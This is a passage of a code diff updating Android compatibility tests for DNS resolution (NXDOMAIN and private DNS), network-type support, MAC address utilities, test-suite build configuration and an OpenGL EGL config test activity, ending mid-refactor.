+    uint8_t buf[MAXPACKET] = {};
+    // res_nsend V4 NXDOMAIN
+    int len = makeQuery(kNxDomainName, ns_t_a, buf, sizeof(buf));
+    EXPECT_GT(env, len, 0, "v4 res_mkquery NXDOMAIN");
+    fd = android_res_nsend(handle, buf, len, 0);
+    EXPECT_GE(env, fd, 0, "v4 res_nsend NXDOMAIN");
+    EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET, ns_r_nxdomain),
+            "v4 res_nsend NXDOMAIN check answers");
+
+    // res_nsend V6 NXDOMAIN
+    memset(buf, 0, sizeof(buf));
+    len = makeQuery(kNxDomainName, ns_t_aaaa, buf, sizeof(buf));
+    EXPECT_GT(env, len, 0, "v6 res_mkquery NXDOMAIN");
+    fd = android_res_nsend(handle, buf, len, 0);
+    EXPECT_GE(env, fd, 0, "v6 res_nsend NXDOMAIN");
+    EXPECT_EQ(env, 0, expectAnswersValid(env, fd, AF_INET6, ns_r_nxdomain),
+            "v6 res_nsend NXDOMAIN check answers");
+}
+
+
+extern "C"
+JNIEXPORT void Java_android_net_cts_MultinetworkApiTest_runResNcancelCheck(
         JNIEnv* env, jclass, jlong nethandle) {
     net_handle_t handle = (net_handle_t) nethandle;
 
@@ -251,11 +254,10 @@
     EXPECT_EQ(env, 0, err, "res_cancel");
     // DO NOT call cancel or result with the same fd more than once,
     // otherwise it will hit fdsan double-close fd.
-    return 0;
 }
 
 extern "C"
-JNIEXPORT jint Java_android_net_cts_MultinetworkApiTest_runResNapiMalformedCheck(
+JNIEXPORT void Java_android_net_cts_MultinetworkApiTest_runResNapiMalformedCheck(
         JNIEnv* env, jclass, jlong nethandle) {
     net_handle_t handle = (net_handle_t) nethandle;
 
@@ -311,8 +313,6 @@
     EXPECT_GE(env, fd, 0, "res_nsend 500 bytes filled with 0xFF");
     EXPECT_EQ(env, 0, expectAnswersNotValid(env, fd, -EINVAL),
             "res_nsend 500 bytes filled with 0xFF check answers");
-
-    return 0;
 }
 
 extern "C"
diff --git a/tests/tests/net/native/dns/Android.bp b/tests/tests/net/native/dns/Android.bp
index 9fbc3fc..1704a2b 100644
--- a/tests/tests/net/native/dns/Android.bp
+++ b/tests/tests/net/native/dns/Android.bp
@@ -35,5 +35,6 @@
     },
     test_suites: [
         "cts",
+        "mts",
     ],
-}
\ No newline at end of file
+}
diff --git a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
index bbc2298..fa7e138 100644
--- a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
+++ b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
@@ -16,8 +16,10 @@
 
 package android.net.cts;
 
+import static android.content.pm.PackageManager.FEATURE_ETHERNET;
 import static android.content.pm.PackageManager.FEATURE_TELEPHONY;
 import static android.content.pm.PackageManager.FEATURE_WIFI;
+import static android.content.pm.PackageManager.FEATURE_USB_HOST;
 import static android.net.NetworkCapabilities.NET_CAPABILITY_IMS;
 import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
 import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_METERED;
@@ -257,7 +259,7 @@
 
     public void testGetNetworkInfo() {
         for (int type = -1; type <= ConnectivityManager.MAX_NETWORK_TYPE+1; type++) {
-            if (isSupported(type)) {
+            if (shouldBeSupported(type)) {
                 NetworkInfo ni = mCm.getNetworkInfo(type);
                 assertTrue("Info shouldn't be null for " + type, ni != null);
                 State state = ni.getState();
@@ -277,7 +279,7 @@
         NetworkInfo[] ni = mCm.getAllNetworkInfo();
         assertTrue(ni.length >= MIN_NUM_NETWORK_TYPES);
         for (int type = 0; type <= ConnectivityManager.MAX_NETWORK_TYPE; type++) {
-            int desiredFoundCount = (isSupported(type) ? 1 : 0);
+            int desiredFoundCount = (shouldBeSupported(type) ? 1 : 0);
             int foundCount = 0;
             for (NetworkInfo i : ni) {
                 if (i.getType() == type) foundCount++;
@@ -385,20 +387,32 @@
         assertStartUsingNetworkFeatureUnsupported(TYPE_WIFI, mmsFeature);
     }
 
-    private boolean isSupported(int networkType) {
+    private boolean shouldEthernetBeSupported() {
+        // Instant mode apps aren't allowed to query the Ethernet service due to selinux policies.
+        // When in instant mode, don't fail if the Ethernet service is available. Instead, rely on
+        // the fact that Ethernet should be supported if the device has a hardware Ethernet port, or
+        // if the device can be a USB host and thus can use USB Ethernet adapters.
+        //
+        // Note that this test this will still fail in instant mode if a device supports Ethernet
+        // via other hardware means. We are not currently aware of any such device.
+        return (mContext.getSystemService(Context.ETHERNET_SERVICE) != null) ||
+            mPackageManager.hasSystemFeature(FEATURE_ETHERNET) ||
+            mPackageManager.hasSystemFeature(FEATURE_USB_HOST);
+    }
+
+    private boolean shouldBeSupported(int networkType) {
         return mNetworks.containsKey(networkType) ||
                (networkType == ConnectivityManager.TYPE_VPN) ||
-               (networkType == ConnectivityManager.TYPE_ETHERNET &&
-                       mContext.getSystemService(Context.ETHERNET_SERVICE) != null);
+               (networkType == ConnectivityManager.TYPE_ETHERNET && shouldEthernetBeSupported());
     }
 
     public void testIsNetworkSupported() {
         for (int type = -1; type <= ConnectivityManager.MAX_NETWORK_TYPE; type++) {
             boolean supported = mCm.isNetworkSupported(type);
-            if (isSupported(type)) {
-                assertTrue(supported);
+            if (shouldBeSupported(type)) {
+                assertTrue("Network type " + type + " should be supported", supported);
             } else {
-                assertFalse(supported);
+                assertFalse("Network type " + type + " should not be supported", supported);
             }
         }
     }
diff --git a/tests/tests/net/src/android/net/cts/DnsResolverTest.java b/tests/tests/net/src/android/net/cts/DnsResolverTest.java
index ef8badd..c32a7a0 100644
--- a/tests/tests/net/src/android/net/cts/DnsResolverTest.java
+++ b/tests/tests/net/src/android/net/cts/DnsResolverTest.java
@@ -21,6 +21,7 @@
 import static android.net.DnsResolver.FLAG_NO_CACHE_LOOKUP;
 import static android.net.DnsResolver.TYPE_A;
 import static android.net.DnsResolver.TYPE_AAAA;
+import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
 import static android.system.OsConstants.ETIMEDOUT;
 
 import android.annotation.NonNull;
@@ -36,6 +37,7 @@
 import android.net.NetworkCapabilities;
 import android.net.NetworkRequest;
 import android.net.ParseException;
+import android.net.cts.util.CtsNetUtils;
 import android.os.CancellationSignal;
 import android.os.Handler;
 import android.os.Looper;
@@ -62,7 +64,9 @@
     };
 
     static final String TEST_DOMAIN = "www.google.com";
+    static final String TEST_NX_DOMAIN = "test1-nx.metric.gstatic.com";
     static final String INVALID_PRIVATE_DNS_SERVER = "invalid.google";
+    static final String GOOGLE_PRIVATE_DNS_SERVER = "dns.google";
     static final byte[] TEST_BLOB = new byte[]{
             /* Header */
             0x55, 0x66, /* Transaction ID */
@@ -86,6 +90,7 @@
 
     private ContentResolver mCR;
     private ConnectivityManager mCM;
+    private CtsNetUtils mCtsNetUtils;
     private Executor mExecutor;
     private Executor mExecutorInline;
     private DnsResolver mDns;
@@ -101,6 +106,7 @@
         mExecutor = new Handler(Looper.getMainLooper())::post;
         mExecutorInline = (Runnable r) -> r.run();
         mCR = getContext().getContentResolver();
+        mCtsNetUtils = new CtsNetUtils(getContext());
         storePrivateDnsSetting();
     }
 
@@ -309,6 +315,14 @@
         doTestRawQueryNXDomain(mExecutorInline);
     }
 
+    public void testRawQueryNXDomainWithPrivateDns() throws Exception {
+        doTestRawQueryNXDomainWithPrivateDns(mExecutor);
+    }
+
+    public void testRawQueryNXDomainInlineWithPrivateDns() throws Exception {
+        doTestRawQueryNXDomainWithPrivateDns(mExecutorInline);
+    }
+
     public void doTestRawQuery(Executor executor) throws InterruptedException {
         final String msg = "RawQuery " + TEST_DOMAIN;
         for (Network network : getTestableNetworks()) {
@@ -364,11 +378,46 @@
     }
 
     public void doTestRawQueryNXDomain(Executor executor) throws InterruptedException {
-        final String dname = "test1-nx.metric.gstatic.com";
-        final String msg = "RawQuery " + dname;
+        final String msg = "RawQuery " + TEST_NX_DOMAIN;
+
         for (Network network : getTestableNetworks()) {
+            final NetworkCapabilities nc = (network != null)
+                    ? mCM.getNetworkCapabilities(network)
+                    : mCM.getNetworkCapabilities(mCM.getActiveNetwork());
+            assertNotNull("Couldn't determine NetworkCapabilities for " + network, nc);
+            // Some cellular networks configure their DNS servers never to return NXDOMAIN, so don't
+            // test NXDOMAIN on these DNS servers.
+            // b/144521720
+            if (nc.hasTransport(TRANSPORT_CELLULAR)) continue;
             final VerifyCancelCallback callback = new VerifyCancelCallback(msg);
-            mDns.rawQuery(network, dname, CLASS_IN, TYPE_AAAA, FLAG_NO_CACHE_LOOKUP,
+            mDns.rawQuery(network, TEST_NX_DOMAIN, CLASS_IN, TYPE_AAAA, FLAG_NO_CACHE_LOOKUP,
+                    executor, null, callback);
+
+            assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
+                    callback.waitForAnswer());
+            callback.assertNXDomain();
+        }
+    }
+
+    public void doTestRawQueryNXDomainWithPrivateDns(Executor executor)
+            throws InterruptedException {
+        final String msg = "RawQuery " + TEST_NX_DOMAIN + " with private DNS";
+
+        // Enable private DNS strict mode and set server to dns.google before doing NxDomain test.
+        // b/144521720
+        Settings.Global.putString(mCR, Settings.Global.PRIVATE_DNS_MODE, "hostname");
+        Settings.Global.putString(mCR,
+                Settings.Global.PRIVATE_DNS_SPECIFIER, GOOGLE_PRIVATE_DNS_SERVER);
+
+        for (Network network :  getTestableNetworks()) {
+            final Network networkForPrivateDns =
+                    (network != null) ? network : mCM.getActiveNetwork();
+            assertNotNull("Can't find network to await private DNS on", networkForPrivateDns);
+            mCtsNetUtils.awaitPrivateDnsSetting(msg + " wait private DNS setting timeout",
+                    networkForPrivateDns, GOOGLE_PRIVATE_DNS_SERVER,
+                    PRIVATE_DNS_SETTING_TIMEOUT_MS);
+            final VerifyCancelCallback callback = new VerifyCancelCallback(msg);
+            mDns.rawQuery(network, TEST_NX_DOMAIN, CLASS_IN, TYPE_AAAA, FLAG_NO_CACHE_LOOKUP,
                     executor, null, callback);
 
             assertTrue(msg + " but no answer after " + TIMEOUT_MS + "ms.",
@@ -615,23 +664,6 @@
         }
     }
 
-    private void awaitPrivateDnsSetting(@NonNull String msg,
-            @NonNull Network network, @NonNull String server) throws InterruptedException {
-        CountDownLatch latch = new CountDownLatch(1);
-        NetworkRequest request = new NetworkRequest.Builder().clearCapabilities().build();
-        NetworkCallback callback = new NetworkCallback() {
-            @Override
-            public void onLinkPropertiesChanged(Network n, LinkProperties lp) {
-                if (network.equals(n) && server.equals(lp.getPrivateDnsServerName())) {
-                    latch.countDown();
-                }
-            }
-        };
-        mCM.registerNetworkCallback(request, callback);
-        assertTrue(msg, latch.await(PRIVATE_DNS_SETTING_TIMEOUT_MS, TimeUnit.MILLISECONDS));
-        mCM.unregisterNetworkCallback(callback);
-    }
-
     public void testPrivateDnsBypass() throws InterruptedException {
         final Network[] testNetworks = getTestableNetworks();
 
@@ -647,8 +679,8 @@
             if (network == null) continue;
 
             // wait for private DNS setting propagating
-            awaitPrivateDnsSetting(msg + " wait private DNS setting timeout",
-                    network, INVALID_PRIVATE_DNS_SERVER);
+            mCtsNetUtils.awaitPrivateDnsSetting(msg + " wait private DNS setting timeout",
+                    network, INVALID_PRIVATE_DNS_SERVER, PRIVATE_DNS_SETTING_TIMEOUT_MS);
 
             final CountDownLatch latch = new CountDownLatch(1);
             final DnsResolver.Callback<List<InetAddress>> errorCallback =
diff --git a/tests/tests/net/src/android/net/cts/MacAddressTest.java b/tests/tests/net/src/android/net/cts/MacAddressTest.java
index af1e760..4d25e62 100644
--- a/tests/tests/net/src/android/net/cts/MacAddressTest.java
+++ b/tests/tests/net/src/android/net/cts/MacAddressTest.java
@@ -20,6 +20,11 @@
 import static android.net.MacAddress.TYPE_MULTICAST;
 import static android.net.MacAddress.TYPE_UNICAST;
 
+import static com.android.testutils.ParcelUtilsKt.assertParcelSane;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
 import android.net.MacAddress;
@@ -30,6 +35,7 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.net.Inet6Address;
 import java.util.Arrays;
 
 @SmallTest
@@ -161,4 +167,57 @@
         } catch (NullPointerException excepted) {
         }
     }
+
+    @Test
+    public void testMatches() {
+        // match 4 bytes prefix
+        assertTrue(MacAddress.fromString("aa:bb:cc:dd:ee:11").matches(
+                MacAddress.fromString("aa:bb:cc:dd:00:00"),
+                MacAddress.fromString("ff:ff:ff:ff:00:00")));
+
+        // match bytes 0,1,2 and 5
+        assertTrue(MacAddress.fromString("aa:bb:cc:dd:ee:11").matches(
+                MacAddress.fromString("aa:bb:cc:00:00:11"),
+                MacAddress.fromString("ff:ff:ff:00:00:ff")));
+
+        // match 34 bit prefix
+        assertTrue(MacAddress.fromString("aa:bb:cc:dd:ee:11").matches(
+                MacAddress.fromString("aa:bb:cc:dd:c0:00"),
+                MacAddress.fromString("ff:ff:ff:ff:c0:00")));
+
+        // fail to match 36 bit prefix
+        assertFalse(MacAddress.fromString("aa:bb:cc:dd:ee:11").matches(
+                MacAddress.fromString("aa:bb:cc:dd:40:00"),
+                MacAddress.fromString("ff:ff:ff:ff:f0:00")));
+
+        // match all 6 bytes
+        assertTrue(MacAddress.fromString("aa:bb:cc:dd:ee:11").matches(
+                MacAddress.fromString("aa:bb:cc:dd:ee:11"),
+                MacAddress.fromString("ff:ff:ff:ff:ff:ff")));
+
+        // match none of 6 bytes
+        assertTrue(MacAddress.fromString("aa:bb:cc:dd:ee:11").matches(
+                MacAddress.fromString("00:00:00:00:00:00"),
+                MacAddress.fromString("00:00:00:00:00:00")));
+    }
+
+    /**
+     * Tests that link-local address generation from MAC is valid.
+     */
+    @Test
+    public void testLinkLocalFromMacGeneration() {
+        final MacAddress mac = MacAddress.fromString("52:74:f2:b1:a8:7f");
+        final byte[] inet6ll = {(byte) 0xfe, (byte) 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50,
+                0x74, (byte) 0xf2, (byte) 0xff, (byte) 0xfe, (byte) 0xb1, (byte) 0xa8, 0x7f};
+        final Inet6Address llv6 = mac.getLinkLocalIpv6FromEui48Mac();
+        assertTrue(llv6.isLinkLocalAddress());
+        assertArrayEquals(inet6ll, llv6.getAddress());
+    }
+
+    @Test
+    public void testParcelMacAddress() {
+        final MacAddress mac = MacAddress.fromString("52:74:f2:b1:a8:7f");
+
+        assertParcelSane(mac, 1);
+    }
 }
diff --git a/tests/tests/net/src/android/net/cts/MultinetworkApiTest.java b/tests/tests/net/src/android/net/cts/MultinetworkApiTest.java
index c3e65b7..766c55e 100644
--- a/tests/tests/net/src/android/net/cts/MultinetworkApiTest.java
+++ b/tests/tests/net/src/android/net/cts/MultinetworkApiTest.java
@@ -16,18 +16,23 @@
 
 package android.net.cts;
 
+import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
+
 import android.content.Context;
+import android.content.ContentResolver;
 import android.net.ConnectivityManager;
 import android.net.Network;
 import android.net.NetworkCapabilities;
 import android.net.NetworkUtils;
+import android.net.cts.util.CtsNetUtils;
+import android.platform.test.annotations.AppModeFull;
+import android.provider.Settings;
 import android.system.ErrnoException;
 import android.system.OsConstants;
 import android.test.AndroidTestCase;
 
 import java.util.ArrayList;
 
-
 public class MultinetworkApiTest extends AndroidTestCase {
 
     static {
@@ -35,6 +40,8 @@
     }
 
     private static final String TAG = "MultinetworkNativeApiTest";
+    static final String GOOGLE_PRIVATE_DNS_SERVER = "dns.google";
+    static final int PRIVATE_DNS_SETTING_TIMEOUT_MS = 2_000;
 
     /**
      * @return 0 on success
@@ -43,18 +50,43 @@
     private static native int runSetprocnetwork(long networkHandle);
     private static native int runSetsocknetwork(long networkHandle);
     private static native int runDatagramCheck(long networkHandle);
-    private static native int runResNapiMalformedCheck(long networkHandle);
-    private static native int runResNcancelCheck(long networkHandle);
-    private static native int runResNqueryCheck(long networkHandle);
-    private static native int runResNsendCheck(long networkHandle);
+    private static native void runResNapiMalformedCheck(long networkHandle);
+    private static native void runResNcancelCheck(long networkHandle);
+    private static native void runResNqueryCheck(long networkHandle);
+    private static native void runResNsendCheck(long networkHandle);
+    private static native void runResNnxDomainCheck(long networkHandle);
 
 
-
+    private ContentResolver mCR;
     private ConnectivityManager mCM;
+    private CtsNetUtils mCtsNetUtils;
+    private String mOldMode;
+    private String mOldDnsSpecifier;
 
+    @Override
     protected void setUp() throws Exception {
         super.setUp();
         mCM = (ConnectivityManager) getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
+        mCR = getContext().getContentResolver();
+        mCtsNetUtils = new CtsNetUtils(getContext());
+        storePrivateDnsSetting();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+    }
+
+    private void storePrivateDnsSetting() {
+        // Store private DNS setting
+        mOldMode = Settings.Global.getString(mCR, Settings.Global.PRIVATE_DNS_MODE);
+        mOldDnsSpecifier = Settings.Global.getString(mCR, Settings.Global.PRIVATE_DNS_SPECIFIER);
+    }
+
+    private void restorePrivateDnsSetting() {
+        // restore private DNS setting
+        Settings.Global.putString(mCR, Settings.Global.PRIVATE_DNS_MODE, mOldMode);
+        Settings.Global.putString(mCR, Settings.Global.PRIVATE_DNS_SPECIFIER, mOldDnsSpecifier);
     }
 
     private Network[] getTestableNetworks() {
@@ -182,13 +214,42 @@
         } catch (IllegalArgumentException e) {}
     }
 
-    public void testResNApi() {
-        for (Network network : getTestableNetworks()) {
+    public void testResNApi() throws Exception {
+        final Network[] testNetworks = getTestableNetworks();
+
+        for (Network network : testNetworks) {
             // Throws AssertionError directly in jni function if test fail.
             runResNqueryCheck(network.getNetworkHandle());
             runResNsendCheck(network.getNetworkHandle());
             runResNcancelCheck(network.getNetworkHandle());
             runResNapiMalformedCheck(network.getNetworkHandle());
+
+            final NetworkCapabilities nc = mCM.getNetworkCapabilities(network);
+            // Some cellular networks configure their DNS servers never to return NXDOMAIN, so don't
+            // test NXDOMAIN on these DNS servers.
+            // b/144521720
+            if (nc != null && !nc.hasTransport(TRANSPORT_CELLULAR)) {
+                runResNnxDomainCheck(network.getNetworkHandle());
+            }
+        }
+    }
+
+    @AppModeFull(reason = "WRITE_SECURE_SETTINGS permission can't be granted to instant apps")
+    public void testResNApiNXDomainPrivateDns() throws InterruptedException {
+        // Enable private DNS strict mode and set server to dns.google before doing NxDomain test.
+        // b/144521720
+        try {
+            Settings.Global.putString(mCR, Settings.Global.PRIVATE_DNS_MODE, "hostname");
+            Settings.Global.putString(mCR,
+                    Settings.Global.PRIVATE_DNS_SPECIFIER, GOOGLE_PRIVATE_DNS_SERVER);
+            for (Network network : getTestableNetworks()) {
+              // Wait for private DNS setting to propagate.
+              mCtsNetUtils.awaitPrivateDnsSetting("NxDomain test wait private DNS setting timeout",
+                        network, GOOGLE_PRIVATE_DNS_SERVER, PRIVATE_DNS_SETTING_TIMEOUT_MS);
+              runResNnxDomainCheck(network.getNetworkHandle());
+            }
+        } finally {
+            restorePrivateDnsSetting();
         }
     }
 }
diff --git a/tests/tests/net/src/android/net/cts/NetworkWatchlistTest.java b/tests/tests/net/src/android/net/cts/NetworkWatchlistTest.java
index e4e350c..81a9e30 100644
--- a/tests/tests/net/src/android/net/cts/NetworkWatchlistTest.java
+++ b/tests/tests/net/src/android/net/cts/NetworkWatchlistTest.java
@@ -19,6 +19,7 @@
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
 import static org.junit.Assume.assumeTrue;
 
 import android.content.Context;
@@ -72,6 +73,7 @@
         setWatchlistConfig(TEST_EMPTY_WATCHLIST_XML);
         // Verify test watchlist config is not set before testing
         byte[] result = mConnectivityManager.getNetworkWatchlistConfigHash();
+        assertNotNull("Watchlist config does not exist", result);
         assertNotEquals(TEST_WATCHLIST_CONFIG_HASH, byteArrayToHexString(result));
     }
 
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
index 0ef5cd9..3e47764 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
@@ -921,9 +921,9 @@
                 .distinct()
                 .collect(Collectors.toList());
 
-        if (uniquePackageNames.size() > 1) {
-            fail("The NETWORK_CARRIER_PROVISIONING permission must not be held by more than one "
-                    + "application, but is held by " + uniquePackageNames.size() + " applications: "
+        if (uniquePackageNames.size() > 2) {
+            fail("The NETWORK_CARRIER_PROVISIONING permission must not be held by more than two "
+                    + "applications, but is held by " + uniquePackageNames.size() + " applications: "
                     + String.join(", ", uniquePackageNames));
         }
     }
diff --git a/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java b/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java
index e19d2ba..f0c34e3 100644
--- a/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java
+++ b/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java
@@ -24,12 +24,14 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
+import android.annotation.NonNull;
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.net.ConnectivityManager;
 import android.net.ConnectivityManager.NetworkCallback;
+import android.net.LinkProperties;
 import android.net.Network;
 import android.net.NetworkCapabilities;
 import android.net.NetworkInfo;
@@ -243,6 +245,23 @@
         return s;
     }
 
+    public void awaitPrivateDnsSetting(@NonNull String msg, @NonNull Network network,
+            @NonNull String server, int timeoutMs) throws InterruptedException {
+        CountDownLatch latch = new CountDownLatch(1);
+        NetworkRequest request = new NetworkRequest.Builder().clearCapabilities().build();
+        NetworkCallback callback = new NetworkCallback() {
+            @Override
+            public void onLinkPropertiesChanged(Network n, LinkProperties lp) {
+                if (network.equals(n) && server.equals(lp.getPrivateDnsServerName())) {
+                    latch.countDown();
+                }
+            }
+        };
+        mCm.registerNetworkCallback(request, callback);
+        assertTrue(msg, latch.await(timeoutMs, TimeUnit.MILLISECONDS));
+        mCm.unregisterNetworkCallback(callback);
+    }
+
     /**
      * Receiver that captures the last connectivity change's network type and state. Recognizes
      * both {@code CONNECTIVITY_ACTION} and {@code NETWORK_CALLBACK_ACTION} intents.
diff --git a/tests/tests/neuralnetworks/Android.mk b/tests/tests/neuralnetworks/Android.mk
index 6d35ccc..e6efed7 100644
--- a/tests/tests/neuralnetworks/Android.mk
+++ b/tests/tests/neuralnetworks/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_WHOLE_STATIC_LIBRARIES := CtsNNAPITests_static
 
 LOCAL_SHARED_LIBRARIES := libandroid liblog libneuralnetworks
-LOCAL_STATIC_LIBRARIES := libgtest_ndk_c++ libgtest_main_ndk_c++
+LOCAL_STATIC_LIBRARIES := libbase_ndk libgtest_ndk_c++
 LOCAL_CTS_TEST_PACKAGE := android.neuralnetworks
 
 # Tag this module as a cts test artifact
diff --git a/tests/tests/neuralnetworks/tflite_delegate/Android.mk b/tests/tests/neuralnetworks/tflite_delegate/Android.mk
index 5ef0ca0..e9ea001 100644
--- a/tests/tests/neuralnetworks/tflite_delegate/Android.mk
+++ b/tests/tests/neuralnetworks/tflite_delegate/Android.mk
@@ -61,7 +61,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.neuralnetworks
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts mts general-tests
 
 LOCAL_SDK_VERSION := current
 LOCAL_NDK_STL_VARIANT := c++_static
diff --git a/tests/tests/neuralnetworks/tflite_delegate/AndroidTest.xml b/tests/tests/neuralnetworks/tflite_delegate/AndroidTest.xml
index 98e2119..f1d5cf7 100644
--- a/tests/tests/neuralnetworks/tflite_delegate/AndroidTest.xml
+++ b/tests/tests/neuralnetworks/tflite_delegate/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="neuralnetworks" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
         <option name="push" value="CtsTfliteNnapiDelegateTestCases->/data/local/tmp/CtsTfliteNnapiDelegateTestCases" />
diff --git a/tests/tests/notificationlegacy/notificationlegacy20/AndroidTest.xml b/tests/tests/notificationlegacy/notificationlegacy20/AndroidTest.xml
index 69a1c40..0509f6e 100644
--- a/tests/tests/notificationlegacy/notificationlegacy20/AndroidTest.xml
+++ b/tests/tests/notificationlegacy/notificationlegacy20/AndroidTest.xml
@@ -19,6 +19,7 @@
     <!-- Notification Listeners are not supported for instant apps. -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsLegacyNotification20TestCases.apk" />
diff --git a/tests/tests/notificationlegacy/notificationlegacy28/AndroidTest.xml b/tests/tests/notificationlegacy/notificationlegacy28/AndroidTest.xml
index b310c2d..7aa0608 100644
--- a/tests/tests/notificationlegacy/notificationlegacy28/AndroidTest.xml
+++ b/tests/tests/notificationlegacy/notificationlegacy28/AndroidTest.xml
@@ -19,6 +19,7 @@
     <!-- Notification Listeners are not supported for instant apps. -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsLegacyNotification28TestCases.apk" />
diff --git a/tests/tests/notificationlegacy/notificationlegacy29/AndroidTest.xml b/tests/tests/notificationlegacy/notificationlegacy29/AndroidTest.xml
index 7e01e67..9421128 100644
--- a/tests/tests/notificationlegacy/notificationlegacy29/AndroidTest.xml
+++ b/tests/tests/notificationlegacy/notificationlegacy29/AndroidTest.xml
@@ -19,6 +19,7 @@
     <!-- Notification Listeners are not supported for instant apps. -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsLegacyNotification29TestCases.apk" />
diff --git a/tests/tests/opengl/src/android/opengl/cts/EglConfigCtsActivity.java b/tests/tests/opengl/src/android/opengl/cts/EglConfigCtsActivity.java
index cef9e2f0..1b8cf77 100644
--- a/tests/tests/opengl/src/android/opengl/cts/EglConfigCtsActivity.java
+++ b/tests/tests/opengl/src/android/opengl/cts/EglConfigCtsActivity.java
@@ -16,83 +16,176 @@
 
 package android.opengl.cts;
 
+import static org.junit.Assert.assertTrue;
+
 import android.app.Activity;
-import android.content.Intent;
+import android.content.Context;
 import android.opengl.GLSurfaceView;
 import android.os.Bundle;
+import android.util.Log;
 import android.view.WindowManager;
 
 import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.Executors;
 import java.util.concurrent.TimeUnit;
 
+import javax.microedition.khronos.egl.EGL10;
+import javax.microedition.khronos.egl.EGLConfig;
+import javax.microedition.khronos.egl.EGLContext;
+import javax.microedition.khronos.egl.EGLDisplay;
+
 /**
  * {@link Activity} with a {@link GLSurfaceView} that chooses a specific configuration.
  */
 public class EglConfigCtsActivity extends Activity {
 
+    private final String TAG = this.getClass().getSimpleName();
+
     public static final String CONFIG_ID_EXTRA = "eglConfigId";
 
     public static final String CONTEXT_CLIENT_VERSION_EXTRA = "eglContextClientVersion";
 
+    private static final int EGL_OPENGL_ES_BIT = 0x1;
+    private static final int EGL_OPENGL_ES2_BIT = 0x4;
+
     private EglConfigGLSurfaceView mView;
 
     private CountDownLatch mFinishedDrawing;
+    private CountDownLatch mFinishedTesting;
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
-        int configId = getConfigId();
-        int contextClientVersion = getContextClientVersion();
-        setTitle("EGL Config Id: " + configId + " Client Version: " + contextClientVersion);
 
         // Dismiss keyguard and keep screen on while this test is on.
         getWindow().addFlags(WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD |
                 WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON |
                 WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
 
-        mFinishedDrawing = new CountDownLatch(1);
-        mView = new EglConfigGLSurfaceView(this, configId, contextClientVersion, new Runnable() {
-            @Override
-            public void run() {
-                mFinishedDrawing.countDown();
-            }
-        });
-        setContentView(mView);
-    }
-
-    private int getConfigId() {
-        Intent intent = getIntent();
-        if (intent != null) {
-            return intent.getIntExtra(CONFIG_ID_EXTRA, 0);
-        } else {
-            return 0;
-        }
-    }
-
-    private int getContextClientVersion() {
-        Intent intent = getIntent();
-        if (intent != null) {
-            return intent.getIntExtra(CONTEXT_CLIENT_VERSION_EXTRA, 0);
-        } else {
-            return 0;
+        int[] configIds = getEglConfigIds(EGL_OPENGL_ES_BIT);
+        int[] configIds2 = getEglConfigIds(EGL_OPENGL_ES2_BIT);
